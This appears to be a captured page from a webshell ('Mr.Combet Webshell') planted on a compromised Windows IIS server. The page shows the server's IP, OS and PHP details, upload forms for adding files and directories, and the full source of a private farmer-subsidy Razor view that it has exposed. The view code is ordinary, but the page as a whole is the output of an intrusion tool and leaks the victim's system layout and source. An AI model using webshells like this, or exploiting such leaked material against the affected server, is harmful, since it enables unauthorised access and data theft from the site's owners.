Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
FarmerDiary
/
View File Name :
_FarmerDiarySubsidiesTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel @using RER_Project.Core.Helpers; @using RER_Project.BusinessLayer.BusinessService @{ var memberStatus = Model.MemberDetailView.IsActive; } @{ var meta = AppUserService.GetCurrent(); } <form id="CreateFarmerDiarySubsidiesPlan"> <div id="eror_msg"></div> <div class="row"> <input type="hidden" name="incomeid" id="incomeid" /> <div class="form-group col-md-2"> <label><strong>Type of subsidies</strong></label> <select type="text" class="form-control required" name="Tools" id="Tools" data-api="/subsidytype"></select> </div> <div class="form-group col-md-2"> <label><strong>Product Name</strong></label> <select type="text" class="form-control" name="Productionname" id="Productionname"> <option value>Select </option> </select> </div> <div class="form-group col-md-2"> <label><strong>Type of subsidy</strong></label> <select type="text" class="form-control required" name="subsidyid" id="subsidyid" data-api="/subsidy"></select> </div> <div class="form-group col-md-2" id="sa"> <label><strong>Subsidy Amount</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" name="subsidyamt" id="subsidyamt"> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-2"> <label><strong>Received From</strong></label> <select type="text" class="form-control required" name="subsidyreceivedfromid" id="subsidyreceivedfromid" data-api="/subsidy_received_from/select"></select> </div> <div class="form-group col-md-4"> <label> </label><br /> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.ProjectDirector || meta.RoleId == (int)EnumRoleHelper.Roles.BDS || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <input type="button" value="Save" class="btn btn-primary" id="SubmitFarmerDiarySubsidies" /> } <a href="/farmer_diary/time_frame/member/@Model.MemberDetailView.Id" class="btn btn-default"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> </div> </form> <div class="row"> <div class="col-lg-12"> <a class="btn btn-primary btnPrevious"><i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext">Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblSubsidiesplan" id="tblSubsidiesplan"> <thead> <tr> <th rowspan="2" style="padding-top:20px">Type of subsidies</th> <th rowspan="2" style="padding-top:20px">Product Name</th> <th rowspan="2" style="padding-top:20px">Subsidy Amount</th> <th rowspan="2" style="padding-top:20px">Type of subsidy</th> <th rowspan="2" style="padding-top:20px">Subsidy Received From</th> @if (memberStatus) { <th rowspan="2" style="text-align:center;padding-top:20px">Action</th> } </tr> </thead> <tbody> </tbody> <tfoot style="line-height:30px;background-color:#edf0ee;color:black" id="tblFooter"> </tfoot> </table> </div> <script> $(document).ready(function () { loadSubsidary(); $("#sa").hide(); }); $("#subsidyid").off("change").on("change", function () { debugger; var soldid = $('#subsidyid').val(); if (soldid == '3') { $("#sa").show(); } else { $("#sa").hide(); } }); function loadSubsidary() { debugger; const ajax = request(); function request() { const url = '/farmer_diary/Subsidies/member/' + @Model.MemberDetailView.Id + "/fiscal/" + '@ViewBag.FiscalYear' + "/quatile/" + '@ViewBag.Quadrimester'; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { debugger; addSubsidyListToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addSubsidyListToTable(response) { debugger; console.log("RE$sponse", response); var status = '@memberStatus'; var totalProductionAreaInHectare = 0.0; var averagesellingprice = 0.0; $('#tblSubsidiesplan tbody > tr').remove(); $('#tblSubsidiesplan tfoot > tr').remove(); var table = $("#tblSubsidiesplan tbody"); response.forEach(function (x) { var row = "<tr>"; row += "<td>" + x.toolTechnologies + "</td>"; row += "<td>" + x.product_name + "</td>"; row += "<td>" + x.subsidy_amount + "</td>"; row += "<td>" + x.tyoe_of_subsidy + "</td>"; row += "<td>" + x.subsidy_provider_name + "</td>"; row += "<td class='hideshow'>" + "<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=editfarmerdiarySubsidiesForm(" + x.id + ") ><i class='fa fa-edit'></i >" + "</a > <a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=deleteFarmerDiarySubsidiesId(" + x.id + ") ><i class='fa fa-trash'></i ></a> "; averagesellingprice += parseFloat(x.averagesellingprice || 0); table.append(row); }) if (status === 'False') { $('.hideshow').hide(); } } function editfarmerdiarySubsidiesForm(IncomeId) { debugger; const ajax = request(IncomeId); function request(IncomeId) { const url = '/farmer_diary/Subsidies/' + IncomeId; return window.getAjaxRequest(url, "Get", IncomeId); } ajax.done(function (response) { debugger; $('#Tools').val(response.tool_technologiesid); foredit(response.tool_technologiesid, response.product_name); //$('#Productionname').val(response.product_name); $('#subsidyamt').val(getNumberWithComma(response.subsidy_amount)); $('#subsidyid').val(response.type_of_subsidy); $('#subsidyreceivedfromid').val(response.subsidy_received_from); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function deleteFarmerDiarySubsidiesId(incomeId) { let conf = confirm(`Are you sure you want to delete this Farmer Diary Subsidies ?`); if (!conf) { return; } else { const ajaxResponse = deletefarmerdiarySubsidiesPlan(incomeId); ajaxResponse.done(function (response) { WorkForce.loader.hide(); if (response) { loadSubsidary(); ShowMessage("success", "Successfully Deleted this Farmer Diary Subsidies"); } WorkForce.loader.hide(); }); ajaxResponse.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); WorkForce.loader.hide(); } } function deletefarmerdiarySubsidiesPlan(incomeId) { const url = "/farmer_diary/subsidies/delete/"; const data = JSON.stringify({ "Id": incomeId }); return window.getAjaxRequest(url, "POST", data); loadSubsidary(); } $("#SubmitFarmerDiarySubsidies").off("click").on("click", function () { function request(model) { const url = "/farmer_diary/subsidies/create"; const data = JSON.stringify(model); debugger; return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateFarmerDiarySubsidiesPlan"); console.log("from", form); $.validator.unobtrusive.parse(form); debugger; if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var allFormData = window.serializeForm(form); function getModel() { return (getFarmerDiarySubsidiesPlan()); } function getFarmerDiarySubsidiesPlan() { debugger; var farmerDiaryExpencePlan = {}; farmerDiaryExpencePlan.type_of_subsidy = allFormData.subsidyid; farmerDiaryExpencePlan.subsidy_amount = removeCommaFromString(allFormData.subsidyamt); farmerDiaryExpencePlan.tool_technologiesid = (allFormData.Tools); farmerDiaryExpencePlan.product_name = allFormData.Productionname; farmerDiaryExpencePlan.subsidy_received_from = allFormData.subsidyreceivedfromid; farmerDiaryExpencePlan.GroupId = @Model.MemberDetailView.GroupId; farmerDiaryExpencePlan.BaselineId = @Model.Baseline.Id; farmerDiaryExpencePlan.DistrictId = @Model.MemberDetailView.DistrictId; farmerDiaryExpencePlan.FiscalYear = '@ViewBag.FiscalYear'; farmerDiaryExpencePlan.MemberId = @Model.MemberDetailView.Id; farmerDiaryExpencePlan.Quadrimester = '@ViewBag.Quadrimester'; return farmerDiaryExpencePlan; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); // get the data after sucess loadSubsidary(); // clear the form in data farmerDiarySubsidiesPlan(); }); function farmerDiarySubsidiesPlan() { $('#subsidyid').val(""); $('#subsidyamt').val(""); $('#Productionname').val(""); $('#Tools').val(""); } ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); function foredit (x, y) { debugger; const subsidyId = x; const categoryIncomeId = $("#Productionname").attr("data-api-selected-value"); var quantityUnit = $('#ProductionQuantityUnit').val(); if (subsidyId) { $("#Productionname").val(''); $("#Productionname").prop("disabled", false); } else { $("#Productionname").val(''); $("#Productionname").prop("disabled", "disabled"); }; displayFieldBinder($("#Productionname"), "/subsidywise_product/select?subsidyId=" + subsidyId, null, null, function () { const selectedValue = $("#Tools").attr("data-api-selected-value"); if (selectedValue !== subsidyId) { $("#Productionname").val(y); } if (selectedValue === subsidyId) { $("#Productionname").val(subsidyId); } }); } $("#Tools").off("change").on("change", function () { debugger; const subsidyId = $(this).val(); const categoryIncomeId = $("#Productionname").attr("data-api-selected-value"); var quantityUnit = $('#ProductionQuantityUnit').val(); if (subsidyId) { $("#Productionname").val(''); $("#Productionname").prop("disabled", false); } else { $("#Productionname").val(''); $("#Productionname").prop("disabled", "disabled"); }; $("#Productionname").prop("disabled", false); displayFieldBinder($("#Productionname"), "/subsidywise_product/select?subsidyId=" + subsidyId, null, null, function () { const selectedValue = $("#Tools").attr("data-api-selected-value"); if (selectedValue !== subsidyId) { $("#Productionname").attr("data-api-selected-value", ""); } if (selectedValue === subsidyId) { $("#Productionname").val(subsidyId); } }); @* $.ajax({ type: 'GET', url: '/subsidywiseproduct/select/' + subsidyId, success: function (result) { console.log(result); var s = '<option value="">Select</option>'; for (var i = 0; i < result.length; i++) { s += '<option' + (result[i].Key === quantityUnit ? ' selected' : '') + ' value="' + result[i].UnitId + '">' + result[i].UnitName + '</option>'; } $('#ProductionQuantityUnit').html(s); } })*@ }); </script>